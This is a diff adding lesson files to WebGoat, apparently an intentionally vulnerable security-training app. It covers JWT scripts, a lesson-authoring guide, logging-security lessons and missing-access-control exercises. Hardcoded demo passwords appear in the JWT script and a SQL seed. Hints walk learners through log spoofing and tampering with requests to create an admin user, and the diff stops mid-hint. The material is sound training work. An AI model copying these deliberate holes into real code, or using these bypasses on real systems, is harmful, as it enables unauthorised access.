000000000..e8f24a2a5 --- /dev/null +++ b/src/main/resources/lessons/jwt/js/jwt-refresh.js @@ -0,0 +1,42 @@ +$(document).ready(function () { + login('Jerry'); +}) + +function login(user) { + $.ajax({ + type: 'POST', + url: 'JWT/refresh/login', + contentType: "application/json", + data: JSON.stringify({user: user, password: "bm5nhSkxCXZkKRy4"}) + }).success( + function (response) { + localStorage.setItem('access_token', response['access_token']); + localStorage.setItem('refresh_token', response['refresh_token']); + } + ) +} + +//Dev comment: Pass token as header as we had an issue with tokens ending up in the access_log +webgoat.customjs.addBearerToken = function () { + var headers_to_set = {}; + headers_to_set['Authorization'] = 'Bearer ' + localStorage.getItem('access_token'); + return headers_to_set; +} + +//Dev comment: Temporarily disabled from page we need to work out the refresh token flow but for now we can go live with the checkout page +function newToken() { + localStorage.getItem('refreshToken'); + $.ajax({ + headers: { + 'Authorization': 'Bearer ' + localStorage.getItem('access_token') + }, + type: 'POST', + url: 'JWT/refresh/newToken', + data: JSON.stringify({refreshToken: localStorage.getItem('refresh_token')}) + }).success( + function () { + localStorage.setItem('access_token', apiToken); + localStorage.setItem('refresh_token', refreshToken); + } + ) +} \ No newline at end of file diff --git a/src/main/resources/lessons/jwt/js/jwt-voting.js b/src/main/resources/lessons/jwt/js/jwt-voting.js new file mode 100644 index 000000000..55f95b8a0 --- /dev/null +++ b/src/main/resources/lessons/jwt/js/jwt-voting.js @@ -0,0 +1,87 @@ +$(document).ready(function () { + loginVotes('Guest'); +}) + +function loginVotes(user) { + $("#name").text(user); + $.ajax({ + url: 'JWT/votings/login?user=' + user, + contentType: "application/json" + }).always(function () { + getVotings(); + }) +} + +var html = '' + + '
    ' + + '
    ' + + 'placehold.it/350x250' + + '
    ' + + '
    ' + + '
    ' + + '

    TITLE

    ' + + '

    INFORMATION

    ' + + '
    ' + + '
    ' + + '

    NO_VOTES' + + ' votes' + + '

    ' + + '' + + '
    ' + + '' + + '' + + '' + + '' + + '
    ' + + '

    Average AVERAGE /4

    ' + + '
    ' + + '
    ' + + '
    '; + +function getVotings() { + $("#votesList").empty(); + $.get("JWT/votings", function (result, status) { + for (var i = 0; i < result.length; i++) { + var voteTemplate = html.replace('IMAGE_SMALL', result[i].imageSmall); + if (i === 0) { + voteTemplate = voteTemplate.replace('ACTIVE', 'active'); + voteTemplate = voteTemplate.replace('BUTTON', 'btn-default'); + } else { + voteTemplate = voteTemplate.replace('ACTIVE', ''); + voteTemplate = voteTemplate.replace('BUTTON', 'btn-primary'); + } + voteTemplate = voteTemplate.replace(/TITLE/g, result[i].title); + voteTemplate = voteTemplate.replace('INFORMATION', result[i].information || ''); + voteTemplate = voteTemplate.replace('NO_VOTES', result[i].numberOfVotes || ''); + voteTemplate = voteTemplate.replace('AVERAGE', result[i].average || ''); + + var hidden = (result[i].numberOfVotes === undefined ? 'hidden' : ''); + voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_VOTES/g, hidden); + hidden = (result[i].average === undefined ? 'hidden' : ''); + voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_RATING/g, hidden); + + $("#votesList").append(voteTemplate); + } + }) +} + +webgoat.customjs.jwtSigningCallback = function () { + getVotings(); +} + +function vote(title) { + var user = $("#name").text(); + if (user === 'Guest') { + alert("As a guest you are not allowed to vote, please login first.") + } else { + $.ajax({ + type: 'POST', + url: 'JWT/votings/' + title + }).then( + function () { + getVotings(); + } + ) + } +} + diff --git a/src/main/resources/lessons/jwt/js/jwt-weak-keys.js b/src/main/resources/lessons/jwt/js/jwt-weak-keys.js new file mode 100644 index 000000000..9cf51f46b --- /dev/null +++ b/src/main/resources/lessons/jwt/js/jwt-weak-keys.js @@ -0,0 +1,5 @@ +$(document).ready( + function(){ + $("#secrettoken").load('/WebGoat/JWT/secret/gettoken'); + } + ); \ No newline at end of file diff --git a/src/main/resources/lessons/jwt/js/questions_jwt.json b/src/main/resources/lessons/jwt/js/questions_jwt.json new file mode 100644 index 000000000..28ad27a46 --- /dev/null +++ b/src/main/resources/lessons/jwt/js/questions_jwt.json @@ -0,0 +1,20 @@ +{ + "questions": [ + { + "text": "What is the result of the first code snippet?", + "solutions": { + "1": "Throws an exception in line 12", + "2": "Invoked the method removeAllUsers at line 7", + "3": "Logs an error in line 9" + } + }, + { + "text": "What is the result of the second code snippet?", + "solutions": { + "1": "Throws an exception in line 12", + "2": "Invoked the method removeAllUsers at line 7", + "3": "Logs an error in line 9" + } + } + ] +} \ No newline at end of file diff --git a/src/main/resources/lessons/lessontemplate/db/migration/V2019_11_10_1__introduction.sql b/src/main/resources/lessons/lessontemplate/db/migration/V2019_11_10_1__introduction.sql new file mode 100644 index 000000000..e78d0c4f7 --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/db/migration/V2019_11_10_1__introduction.sql @@ -0,0 +1,13 @@ +--CREATE TABLE servers( +-- id varchar(10), +-- hostname varchar(20), +-- ip varchar(20), +-- mac varchar(20), +-- status varchar(20), +-- description varchar(40) +--); +--INSERT INTO servers VALUES ('1', 'webgoat-dev', '192.168.4.0', 'AA:BB:11:22:CC:DD', 'online', 'Development server'); +--INSERT INTO servers VALUES ('2', 'webgoat-tst', '192.168.2.1', 'EE:FF:33:44:AB:CD', 'online', 'Test server'); +--INSERT INTO servers VALUES ('3', 'webgoat-acc', '192.168.3.3', 'EF:12:FE:34:AA:CC', 'offline', 'Acceptance server'); +--INSERT INTO servers VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34:AA:CC', 'offline', 'Pre-production server'); +--INSERT INTO servers VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server'); diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-attack.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-attack.adoc new file mode 100644 index 000000000..2be501c4f --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-attack.adoc @@ -0,0 +1,111 @@ +=== Step 4: Add an assignment to your lesson + +With an assignment, a user can practice within a lesson. A lesson can consist of multiple assignments, each assignment +needs to extend the class `AssignmentEndpoint`, let's look at an example: + +[source,java] +---- +@RestController // <1> +@AssignmentHints({"lesson-template.hints.1", "lesson-template.hints.2", "lesson-template.hints.3"}) // <2> +public class SampleAttack extends AssignmentEndpoint { // <3> + + private final String secretValue = "secr37Value"; + + @Autowired + private UserSessionData userSessionData; // <4> + + @PostMapping("/lesson-template/sample-attack") <5> + @ResponseBody + public AttackResult completed(@RequestParam("param1") String param1, @RequestParam("param2") String param2) { <6> + if (userSessionData.getValue("some-value") != null) { + // do any session updating you want here ... or not, just comment/example here + //return failed(this).feedback("lesson-template.sample-attack.failure-2").build(); + } + + //overly simple example for success. See other existing lessons for ways to detect 'success' or 'failure' + if (secretValue.equals(param1)) { + return success(this) // <7> + .output("Custom Output ...if you want, for success") + .feedback("lesson-template.sample-attack.success") + .build(); + //lesson-template.sample-attack.success is defined in src/main/resources/i18n/WebGoatLabels.properties + } + + // else + return failed(this) // <8> + .feedback("lesson-template.sample-attack.failure-2") + .output("Custom output for this failure scenario, usually html that will get rendered directly ... yes, you can self-xss if you want") + .build(); + } +---- +<1> Every assignment is just a Spring RestController +<2> Each assignment can have a list of hints. The actual text needs to be placed in `WebGoatLabels.properties` in the folder `src/main/resources/{lessonName}/i18n` +<3> Each assignment needs to extend the class `AssignmentEndpoint`, giving you some helpful methods you need when you want to mark an assignment as complete +<4> As the assignment is a Spring-based class, you can auto wire every component managed by Spring necessary for the assignment +<5> Each assignment should at least have one mapping with the method signature (see 6) +<6> When the user tries to solve an assignment, you need return an `AttackResult` +<7> Returning a successful attack result when user solved the lesson +<8> Returning a failed attack user did not solve the lesson + +{nbsp} + + +As you can see, an assignment is a REST controller which needs to at least have one method with the following signature: + +[source] +---- +@RequestMapping(method = "...", path = "/lesson-template/solution") +@ResponseBody +public AttackResult solve(String param) { + ... +} +---- + +=== Extra endpoints + +Other endpoints can be added in the assignment to support different cases for the assignment, for example: + +[source] +---- +@GetMapping("lesson-template/shop/{user}") +@ResponseBody +public List getItemsInBasket(@PathVariable("user") String user) { + return List.of(new Item("WG-1", "WebGoat promo", 12.0), new Item("WG-2", "WebGoat sticker", 0.00)); +} +---- + +=== Adding an assignment to the HTML page + +We mentioned a lesson could consist of multiple assignments, WebGoat picks them up automatically, and the UI displays +a navigation bar on top of every lesson. A page with an assignment will be red initially and will become +green when the user solves the assignment. To make this work we need to add to the HTML file: + +[source] +---- +
    +
    +
    +
    +
    + + + + + + + +
    two random paramsparameter 1:parameter 2: + +
    +
    +
    +
    +
    +
    +---- + +So the `action` of the form should match the method which defines the check if the lesson has been solved or not +see `public AttackResult solved()` + +That's it. You have now successfully created your first WebGoat lesson, including an assignment! diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-content.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-content.adoc new file mode 100644 index 000000000..660802d34 --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-content.adoc @@ -0,0 +1,36 @@ +== Step 1: writing content + +Each lesson can consist of multiple pages with content (text) to explain the vulnerability at hand. The content +is written in AsciiDoc[https://asciidoctor.org/docs/asciidoc-writers-guide/] which makes it very easy to write content (if you know Markdown, you know AsciiDoc). + +You can find excellent tutorials online for the AsciiDoc syntax. We are just showing a basic overview below. +Below we will describe some constructs often used within WebGoat. + +=== Sub-heading + +Check AsciiDoc for syntax, but more = means smaller headings. You can *bold* text and other things. + +=== Structuring files + +You should set up all content to these *.adoc files. The AsciiDoc files reside in the +directory `/src/main/resources/{lesson}/documentation/`. + +=== Images + +Images can be referenced below, including setting style (recommended to use lesson-image as the style). The root is `/src/main/resources/{lesson}/images` + +image::images/firefox-proxy-config.png[Firefox Proxy Config,510,634,style="lesson-image"] + +=== Code block + +Write code blocks as follows: + +``` +[source] +---- +public class A { + + private String test; +} +---- +``` diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-database.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-database.adoc new file mode 100644 index 000000000..cb70fa4b7 --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-database.adoc @@ -0,0 +1,25 @@ +=== Database + +If the new lesson needs to store or uses a database, you can add a create script in the directory `/src/main/resources/{lesson}/db/migration` folder. +The file name needs to follow a specific convention: `V2019_11_10_1__new-lesson.sql`, so the first part is just the current date. +In this file, you can for example, create tables and insert some data, for example: + +[source] +---- +CREATE TABLE servers( + id varchar(10), + hostname varchar(20), + ip varchar(20), + mac varchar(20), + status varchar(20), + description varchar(40) +); + +INSERT INTO servers VALUES ('1', 'webgoat-dev', '192.168.4.0', 'AA:BB:11:22:CC:DD', 'online', 'Development server'); +INSERT INTO servers VALUES ('2', 'webgoat-tst', '192.168.2.1', 'EE:FF:33:44:AB:CD', 'online', 'Test server'); +INSERT INTO servers VALUES ('3', 'webgoat-acc', '192.168.3.3', 'EF:12:FE:34:AA:CC', 'offline', 'Acceptance server'); +INSERT INTO servers VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34:AA:CC', 'offline', 'Pre-production server'); +INSERT INTO servers VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server'); +---- + +Creating a database will automatically allow WebGoat to reset the database to its original state. diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-glue.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-glue.adoc new file mode 100644 index 000000000..7fbddf68c --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-glue.adoc @@ -0,0 +1,34 @@ +=== Step 3: Write glue html page + +We mentioned a lesson could consist of multiple assignments, WebGoat picks them up automatically, and the UI displays +a navigation bar on top of every lesson. A page with an assignment will be red initially and will become +green when the user solves the assignment. To make this work we need to add: + +[source] +---- + + +
    +
    +
    +
    +
    +
    +
    +
    +
    + +---- + +This file needs to be places in: `/src/main/resources/{lesson}/html/`. The name of the file should be the same as +the Java class we created in step 2. + +The snippet above will create three separate pages (navigation bar) with the adoc pages we created to create this lesson. + +That's it we create a basic lesson with only content. To make it all work, you need to make the lesson available in +WebGoat. + +That's it. Start WebGoat, and your lesson will appear in the menu. diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-intro.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-intro.adoc new file mode 100644 index 000000000..422705a5a --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-intro.adoc @@ -0,0 +1,9 @@ +This lesson describes the steps needed to add a new lesson to WebGoat. In general, there are four steps: + +- Write the content. In WebGoat, we use AsciiDoc as a format. +- Create a lesson class +- Write HTML glue page, so WebGoat knows how to display the content +- Add one or more assignments within the lesson + +Let's see how to create a new lesson. + diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-lesson-class.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-lesson-class.adoc new file mode 100644 index 000000000..3ee6d8395 --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-lesson-class.adoc @@ -0,0 +1,21 @@ +=== Step 2: adding a new lesson class + +Each lesson can contain multiple assignments, first. Let's define a lesson class in Java: + +[source] +---- +@Component +public class LessonTemplate extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "lesson-template.title"; + } +} +---- + +Add the new lesson to a new package under `org.owasp.webgoat.lessons`. diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video-more.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video-more.adoc new file mode 100644 index 000000000..eb6502f36 --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video-more.adoc @@ -0,0 +1,11 @@ +=== Even more content + +You can include multiple adoc files in one page, by including them in the same `
    `: + +[source] +---- +
    +
    +
    +
    +---- \ No newline at end of file diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video.adoc new file mode 100644 index 000000000..105527d5a --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video.adoc @@ -0,0 +1,7 @@ +=== More Content, Video too ... + +You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this, though. + +video::video/sample-video.m4v[width=480,start=5] + +see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax diff --git a/src/main/resources/lessons/lessontemplate/html/LessonTemplate.html b/src/main/resources/lessons/lessontemplate/html/LessonTemplate.html new file mode 100644 index 000000000..9b1c7557a --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/html/LessonTemplate.html @@ -0,0 +1,77 @@ + + +
    + + +
    +
    + +
    + + +
    +
    + +
    + + +
    + +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    + + +
    + + +
    +
    + + + + + +
    + + + + + + + +
    two random paramsparameter 1:parameter 2: + +
    +
    + + +
    + +
    +
    +
    + + + +
    +
    +
    + + diff --git a/src/main/resources/lessons/lessontemplate/i18n/WebGoatLabels.properties b/src/main/resources/lessons/lessontemplate/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..a3ff7afe5 --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/i18n/WebGoatLabels.properties @@ -0,0 +1,11 @@ +lesson-template.title=Writing new lesson + +lesson-template.hints.1=Hint 1 +lesson-template.hints.2=Hint 2 +lesson-template.hints.3=Hint 3 + +lesson-template.sample-attack.failure-1=Sample failure message +lesson-template.sample-attack.failure-2=Sample failure message 2 + +lesson-template.sample-attack.success=Sample success message + diff --git a/src/main/resources/lessons/lessontemplate/images/firefox-proxy-config.png b/src/main/resources/lessons/lessontemplate/images/firefox-proxy-config.png new file mode 100644 index 000000000..0ea3bbe06 Binary files /dev/null and b/src/main/resources/lessons/lessontemplate/images/firefox-proxy-config.png differ diff --git a/src/main/resources/lessons/lessontemplate/js/idor.js b/src/main/resources/lessons/lessontemplate/js/idor.js new file mode 100644 index 000000000..05ab1206f --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/js/idor.js @@ -0,0 +1,18 @@ +// need custom js for this? + +webgoat.customjs.idorViewProfile = function(data) { + webgoat.customjs.jquery('#idor-profile').html( + 'name:' + data.name + '
    '+ + 'color:' + data.color + '
    '+ + 'size:' + data.size + '
    ' + ); +} + +var onViewProfile = function () { + console.warn("on view profile activated") + webgoat.customjs.jquery.ajax({ + method: "GET", + url: "/WebGoat/IDOR/profile", + contentType: 'application/json; charset=UTF-8' + }).then(webgoat.customjs.idorViewProfile); +} diff --git a/src/main/resources/lessons/lessontemplate/video/sample-video.m4v b/src/main/resources/lessons/lessontemplate/video/sample-video.m4v new file mode 100644 index 000000000..8b13923a4 Binary files /dev/null and b/src/main/resources/lessons/lessontemplate/video/sample-video.m4v differ diff --git a/src/main/resources/lessons/logging/documentation/logReading_Task.adoc b/src/main/resources/lessons/logging/documentation/logReading_Task.adoc new file mode 100644 index 000000000..bbff01af7 --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/logReading_Task.adoc @@ -0,0 +1,5 @@ +=== Let's try + +- Some servers provide Administrator credentials at the boot-up of the server. +- The goal of this challenge is to find the secret in the application log of the WebGoat server to login as the Admin user. +- Note that we tried to "protect" it. Can you decode it? \ No newline at end of file diff --git a/src/main/resources/lessons/logging/documentation/logSpoofing_Task.adoc b/src/main/resources/lessons/logging/documentation/logSpoofing_Task.adoc new file mode 100755 index 000000000..c1d11a2bc --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/logSpoofing_Task.adoc @@ -0,0 +1,5 @@ +=== Let's try + +- The goal of this challenge is to make it look like username "admin" succeeded in logging in. +- The red area below shows what will be logged in the web server's log file. +- Want to go beyond? Try to elevate your attack by adding a script to the log file. diff --git a/src/main/resources/lessons/logging/documentation/logging_intro.adoc b/src/main/resources/lessons/logging/documentation/logging_intro.adoc new file mode 100755 index 000000000..3e35bf96e --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/logging_intro.adoc @@ -0,0 +1,13 @@ + +== Concept +Logging is very important for modern systems. We use it for various reasons: + +- Application monitoring and debugging. +- Audit logging: E.g. record specific actions of your users and systems. +- Security Event Monitoring: e.g. provide information to a SIEM or SOAR system that will trigger based on the information provided in these logs. + +== Goals +* The user should have a basic understanding of logging and where to log for. +* The user understands the risks of log spoofing and leaking log information. +* The user will be able to do a simple log spoofing attack. +* The user will be able to tell the basic risks involved in logging. diff --git a/src/main/resources/lessons/logging/documentation/more_logging.adoc b/src/main/resources/lessons/logging/documentation/more_logging.adoc new file mode 100644 index 000000000..e33639908 --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/more_logging.adoc @@ -0,0 +1,32 @@ +=== More About Logging (2) + +By now it should be clear that using simple encoding/decoding is not a way to protect sensitive information in a log. Instead, it is better to use different techniques: not logging the data at all, blanking it out, or encrypting it with another shared secret. + +There are a few more topics we might want to cover here: + +- How to work with log-levels +- How to do Exception Handling +- How to use logging for other purposes +- Some resources to read up on. + +==== Log Levels +Explain log levels + +==== Exception Handling + exception handling (maybe an example of logging exception towards the client with cryptography and why this is a bad idea) + + +==== Audit Logging, Security Event Monitoring, and Application Logs +Note that logging is often used for more than just application debugging. Application logs are often used as a feed for other purposes, think of: + + - *Audit logging*: Specific events need to be recorded by your application log to create a trail that can be used to reconstruct the actions done on behalf of/by your user. This can later be used, for instance, in court to prove what happened in case of a dispute. + - *Security Event Monitoring (SEM)*: Events generated by your application can often be used by your security department to understand what is going on in the application landscape of the organization. There are various types of events as well as various attributes that can play a role to detect whether the organization is in trouble. For instance: a privileged administrative logon that is only used as a break-glass procedure can already be a very valuable event for them. Another example: While frequently used administrative logons are good to record, they might not trigger an event at the security department by themselves, unless a completely different location is used for that administrative role. A threat model exercise with your security department can often help to understand which types of logs they require, and what they should trigger a security alert on immediately. + - *Fraud Detection*: your application logs can help in fraud detection. For instance: logs that show that someone is trying to move around more money than that they have, could indicate something is going wrong. + - *Business Process Monitoring*: your application logs can be used to see if the business processes are still progressing as they should. For instance: the lack of new events further down a process could indicate that the business process has stopped. This can be valuable information to the business when it comes to steering the company. + - *And many more*... + +Note that a lot of these logging purposes differ quite a lot from each other! Therefore it is best to separate your application (debug) logging, from your SEM, and audit logs in terms of output by your application, storage and processing of the logs within your organization. + +==== More reading + +- link:https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html[The OWASP Logging Cheat sheet] \ No newline at end of file diff --git a/src/main/resources/lessons/logging/documentation/sensitive_logging_intro.adoc b/src/main/resources/lessons/logging/documentation/sensitive_logging_intro.adoc new file mode 100644 index 000000000..31e01dfb4 --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/sensitive_logging_intro.adoc @@ -0,0 +1,36 @@ +=== More About Logging + +As you can tell by now, log-spoofing can become an issue when users try to spoof logs. There are various ways to do this other than a form-post. Think of URL parameters or crafted JSON payloads for instance. Therefore, it is important to do + +- apply proper input-sanitization +- make sure you can establish source authenticity and implement integrity controls to detect log-tampering. +- make sure that a user cannot inject logs from any channel +- make sure that the log storage is protected + +But there is more to log security than just sanitization against spoofing attacks. Let's have a look at logging sensitive information. + +==== Logging Sensitive Information + +In the previous exercise, we saw only the username passing by, but no password. Why? Because we want to make sure that an application log does not contain any sensitive information. Let's make sure that when our logs get compromised, we do not have to fear authentication information to be reused. + +Similarly, we should not log any other sensitive information, such as symmetric or private keys, access tokens, and such. + +==== Logging Personal Information + +Be careful with logging personal information. For instance: do not log bank account details, personally identifiable information to which a user did not consent having it logged. Do not log facts that can establish the identity of the subject being logged. + +What you basically want to prevent, is that people use the logs to profile people or spy on them. You want to protect the privacy of the subjects using your system. + +===== Special case: Access Logs + +One special case is always the access logs offered by your ingress and/or application server. These logs should contain at least a few things: Where the request came from, when the request was made, and possibly what the response code was. Additional information can be shared in an access log, depending on the security of the log. For instance: you don't want to share the raw request in the access logs to safeguard the privacy of your users. + +And here the problem often starts: access logs sometimes capture the full URL used for the request. This can include sensitive URL parameters. Therefore: be careful with what you put in the URL as parameters & let's make sure that you do not log those in an openly accessible log. + + +==== Read more + +Want to read up on more about logging? Have a look at: + +- link:https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html[The OWASP Logging Cheat sheet] +- link:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation#Principles[GDPR article at Wikipedia] \ No newline at end of file diff --git a/src/main/resources/lessons/logging/html/LogSpoofing.html b/src/main/resources/lessons/logging/html/LogSpoofing.html new file mode 100755 index 000000000..68e49a064 --- /dev/null +++ b/src/main/resources/lessons/logging/html/LogSpoofing.html @@ -0,0 +1,55 @@ + + + + +
    + + +
    +
    + +
    + +
    +
    +
    +
    + + + + + +
    +
    + Log output: +
    Login failed for username:

    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + + + +
    +
    +
    +
    +
    +
    +
    +
    + diff --git a/src/main/resources/lessons/logging/i18n/WebGoatLabels.properties b/src/main/resources/lessons/logging/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..3bb38d82c --- /dev/null +++ b/src/main/resources/lessons/logging/i18n/WebGoatLabels.properties @@ -0,0 +1,2 @@ +logging.title=Logging Security + diff --git a/src/main/resources/lessons/missingac/css/ac.css b/src/main/resources/lessons/missingac/css/ac.css new file mode 100644 index 000000000..853250ac2 --- /dev/null +++ b/src/main/resources/lessons/missingac/css/ac.css @@ -0,0 +1,4 @@ +.hidden-menu-item { + display:none; + visibility:hidden; +} \ No newline at end of file diff --git a/src/main/resources/lessons/missingac/db/migration/V2021_11_03_1__ac.sql b/src/main/resources/lessons/missingac/db/migration/V2021_11_03_1__ac.sql new file mode 100644 index 000000000..7a7b09b58 --- /dev/null +++ b/src/main/resources/lessons/missingac/db/migration/V2021_11_03_1__ac.sql @@ -0,0 +1,9 @@ +CREATE TABLE access_control_users( + username varchar(40), + password varchar(40), + admin boolean +); + +INSERT INTO access_control_users VALUES ('Tom', 'qwertyqwerty1234', false); +INSERT INTO access_control_users VALUES ('Jerry', 'doesnotreallymatter', true); +INSERT INTO access_control_users VALUES ('Sylvester', 'testtesttest', false); diff --git a/src/main/resources/lessons/missingac/documentation/missing-function-ac-01-intro.adoc b/src/main/resources/lessons/missingac/documentation/missing-function-ac-01-intro.adoc new file mode 100644 index 000000000..4616d8bbe --- /dev/null +++ b/src/main/resources/lessons/missingac/documentation/missing-function-ac-01-intro.adoc @@ -0,0 +1,9 @@ +== Missing Function Level Access Control + +Access control, like preventing XSS with output encoding, can be tricky to maintain. One must ensure it is adequately enforced throughout the entire application, thus in every method/function. + +=== IDOR vs Missing Function Level Access Control + +The fact is many people (including the author of this lesson) would combine function level access control and IDOR into 'Access Control.' For the sake of OWASP Top 10 and these lessons, we will make a +distinction. The distinction most made is that IDOR is more of a 'horizontal' or 'lateral' access control issue, and missing function level access control 'exposes functionality.' Even though +the IDOR lesson here demonstrates how functionality may also be exposed (at least to another user in the same role), we will look at other ways functionality might be exposed. diff --git a/src/main/resources/lessons/missingac/documentation/missing-function-ac-02-client-controls.adoc b/src/main/resources/lessons/missingac/documentation/missing-function-ac-02-client-controls.adoc new file mode 100644 index 000000000..19a13c0e2 --- /dev/null +++ b/src/main/resources/lessons/missingac/documentation/missing-function-ac-02-client-controls.adoc @@ -0,0 +1,16 @@ +== Relying on obscurity + +One could rely on HTML, CSS, or javascript to hide links that users don't normally access. +In the past, a network router tried to protect (hide) admin functionality with javascript in the UI: https://www.wired.com/2009/10/routers-still-vulnerable. + +=== Finding hidden items + +There are usually hints to finding functionality the UI does not openly expose in: + +* HTML or javascript comments +* Commented out elements +* Items hidden via CSS controls/classes + +=== Your mission + +Find two invisible menu items in the menu below that are or would be of interest to an attacker/malicious user and submit the labels for those menu items (there are no links right now in the menus). \ No newline at end of file diff --git a/src/main/resources/lessons/missingac/documentation/missing-function-ac-03-users.adoc b/src/main/resources/lessons/missingac/documentation/missing-function-ac-03-users.adoc new file mode 100644 index 000000000..96afc21db --- /dev/null +++ b/src/main/resources/lessons/missingac/documentation/missing-function-ac-03-users.adoc @@ -0,0 +1,15 @@ +== Try it + +As the previous page described, sometimes applications rely on client-side controls to control access (obscurity). If you can find invisible items, try them and see what happens. Yes, it can be that simple! + +=== Gathering User Info + +Often data dumps originate from vulnerabilities such as SQL injection, but they can also come from poor or lacking access control. + +It will likely take multiple steps and multiple attempts to get this one: + +- Pay attention to the comments and leaked info. +- You'll need to do some guessing too. +- You may need to use another browser/account along the way. + +Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'hash' for Jerry's account. \ No newline at end of file diff --git a/src/main/resources/lessons/missingac/documentation/missing-function-ac-04-users-fixed.adoc b/src/main/resources/lessons/missingac/documentation/missing-function-ac-04-users-fixed.adoc new file mode 100644 index 000000000..50f1af292 --- /dev/null +++ b/src/main/resources/lessons/missingac/documentation/missing-function-ac-04-users-fixed.adoc @@ -0,0 +1,5 @@ +== The company fixed the problem, right? + +The company found out the endpoint was a bit too open, they made an emergency fixed and not only admin users can list all users. + +Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'hash' for Jerry's account. diff --git a/src/main/resources/lessons/missingac/html/MissingFunctionAC.html b/src/main/resources/lessons/missingac/html/MissingFunctionAC.html new file mode 100644 index 000000000..bb0d1d248 --- /dev/null +++ b/src/main/resources/lessons/missingac/html/MissingFunctionAC.html @@ -0,0 +1,115 @@ + + +
    +
    +
    + +
    + +
    + +
    + + +
    + +
    +
    + +

    Hidden item 1

    +

    Hidden item 2

    +
    + + +
    + +
    +
    +
    + +
    + +
    + +
    + +
    +
    +
    + +

    Your Hash:

    +
    + + +
    + +
    +
    +
    + +
    + +
    + +
    + +
    +
    +
    + +

    Your Hash:

    +
    + + +
    + +
    +
    +
    + +
    + + diff --git a/src/main/resources/lessons/missingac/i18n/WebGoatLabels.properties b/src/main/resources/lessons/missingac/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..f727c90ce --- /dev/null +++ b/src/main/resources/lessons/missingac/i18n/WebGoatLabels.properties @@ -0,0 +1,25 @@ +missing-function-access-control.title=Missing Function Level Access Control + +access-control.hidden-menus.success=Correct! And not hard to find are they?!? One of these urls will be helpful in the next lab. +access-control.hidden-menus.close=Close. Remember that when hacking ... details such as order,case and the like matter. +access-control.hidden-menus.failure=Please try again. + +access-control.hidden-menus.hint1=You can inspect the DOM or review the source in the proxy request/response cycle. +access-control.hidden-menus.hint2=Look for indications of something that would not be available to a typical user +access-control.hidden-menus.hint3=Look for something a super-user or administator might have available to them + +access-control.hash.success=Congrats! You really succeeded when you added the user. +access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help. + +access-control.hash.hint1=This assignment involves one simple change in a GET request. +access-control.hash.hint2=If you haven't found the hidden menus from the earlier exercise, go do that first. +access-control.hash.hint3=When you look at the users page, there is a hint that more info is viewable by a given role. +access-control.hash.hint4=Have you tried tampering the GET request? Different content-types? +access-control.hash.hint5=Modify the GET request to `/access-control/users` to include 'Content-Type: application/json' +access-control.hash.hint6=Now for the harder way ... it builds on the easier way +access-control.hash.hint7=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it? +access-control.hash.hint8=If you're still looking for hints ... try changing the Content-type header as in the GET request. +access-control.hash.hint9=You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined. +access-control.hash.hint10=You will want to add your own username with an admin role. Yes, you'd have to guess/fuzz this in a real-world setting. +access-control.hash.hint11=OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: 